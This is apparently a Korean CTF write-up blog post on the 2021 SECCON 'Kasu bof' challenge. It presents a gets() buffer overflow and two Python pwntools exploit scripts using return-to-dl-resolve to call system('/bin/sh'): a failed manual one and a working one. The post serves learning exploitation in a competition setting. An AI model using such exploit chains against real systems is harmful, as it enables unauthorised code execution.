2021 SECCON CTF - Kasu bof

728x90

요약

return to dl resolve

pwntools - pwnlib.rop.ret2dlresolve 라이브러리 이용

 

분석

#include <stdio.h>

int main(void) {
  char buf[0x80];
  gets(buf);
  return 0;
}

코드는 이게 전부이다.

 

gets를 이용하여 bof를 일으키고, return to dl resolve를 이용하는거 같다.

 

나는 return to dl resolve에 대한 개념을 전혀 몰랐었고, lazenca에서 설명하는 부분을 기반으로 코드를 작성하였지만 전혀 되지 않았다.

from pwn import *
from struct import *
context.arch="x86_64"
e = ELF('./chall')

# get section address
addr_dynsym     = e.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr     = e.get_section_by_name('.dynstr').header['sh_addr']
addr_relplt     = e.get_section_by_name('.rel.plt').header['sh_addr']
addr_plt        = e.get_section_by_name('.plt').header['sh_addr']
addr_bss        = e.get_section_by_name('.bss').header['sh_addr']
addr_plt_gets   = e.plt['gets']
addr_got_gets   = e.got['gets']

popebp = 0x080491ae
popebx = 0x08049022
addecx = 0x0804915e
leave_ret = 0x080490e5
popediebp = 0x08049212
stack_size = 0x300

base_stage = addr_bss + stack_size
addr_fake_reloc = base_stage + 20
addr_fake_sym = addr_fake_reloc + 8
addr_fake_symstr = addr_fake_sym + 16
addr_fake_cmd = addr_fake_symstr + 7

log.info('base_stage: ' + hex(base_stage))
log.info('addr_fake_reloc: ' + hex(addr_fake_reloc))
log.info('addr_fake_sym: ' + hex(addr_fake_sym))
log.info('addr_fake_symstr: ' + hex(addr_fake_symstr))
log.info('addr_fake_cmd: ' + hex(addr_fake_cmd))

buf1 = "A"*0x88
buf1 += p32(base_stage-4)
buf1 += p32(addr_plt_gets)
buf1 += p32(leave_ret)
buf1 += p32(base_stage)

fake_reloc_offset = addr_fake_reloc - addr_relplt
fake_r_info = ((addr_fake_sym - addr_dynsym) * 16) & ~0xFF
fake_r_info = fake_r_info | 0x7
fake_st_name = addr_fake_symstr - addr_dynstr

log.info('fake_reloc_offset: ' + hex(fake_reloc_offset))
log.info('fake_st_name: ' + hex(fake_st_name))
log.info('fake_r_info: ' + hex(fake_r_info))

# _dl_runtime_resolve(struct link_mal *l, fake_reloc_arg)
#buf2 = "aaaa"
buf2 = p32(addr_plt)
buf2 += p32(fake_reloc_offset)
buf2 += "BBBB"

# argument of the function
buf2 += p32(addr_fake_cmd)

# Fake Elf32_Rel
buf2 += p32(addr_got_gets)
buf2 += p32(fake_r_info)

# Fake Elf32_Sym
buf2 += p32(fake_st_name)
buf2 += p32(0)
buf2 += p32(0)
buf2 += p32(0x12)
buf2 += 'system\x00'
buf2 += '/bin/sh\x00'
#p = remote('hiyoko.quals.seccon.jp', 9001)
p = process('./chall')
e = ELF('./chall')
gdb.attach(p)
p.send(buf1)
raw_input()
#p.sendline(buf2)
p.interactive()

내가 작성한 코드는 다음과 같다.

여러 주소를 구해주고, fake ebp를 이용하여 bss에 값을 넣어 실행?하는 구조인데 계속 -11에러가 떠서 풀지 못하였다. 아마 주소나 값을 정확히 계산 못했나보다.

 

그러던중, 대회가 끝나고 디스코드에서 힌트를 얻게되었다. pwntools에 ret2dlresolve를 이용하면 쉽게 풀수있다는 것이다.

그래서 다시 풀어봤는데, 풀렸다..

from pwn import *

context.binary = elf = ELF('./chall')
rop = ROP(context.binary)

dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh\x00"])
rop.gets(dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()

p = elf.process()
p.sendline(b'A'*0x88+raw_rop)
p.sendline(dlresolve.payload)
p.interactive()

 

막상 pwntools를 이용해보니 매우 간단하였다...

다른 문제들도(2015 codegate yocto, 2018 0ctf quals backstack...) ret2dlresolve를 이용해서 풀어보고, pwntools를 사용하지 않고 푸는 연습도 해봐야겠다.

728x90

'CTF 풀지못한 문제 - pwn' 카테고리의 다른 글

2021 HackTheBox - arachnoid_heaven  (0) 2021.12.20
TSG 2021 - Coffee  (0) 2021.10.05
ACSC2021 - Histogram  (0) 2021.09.19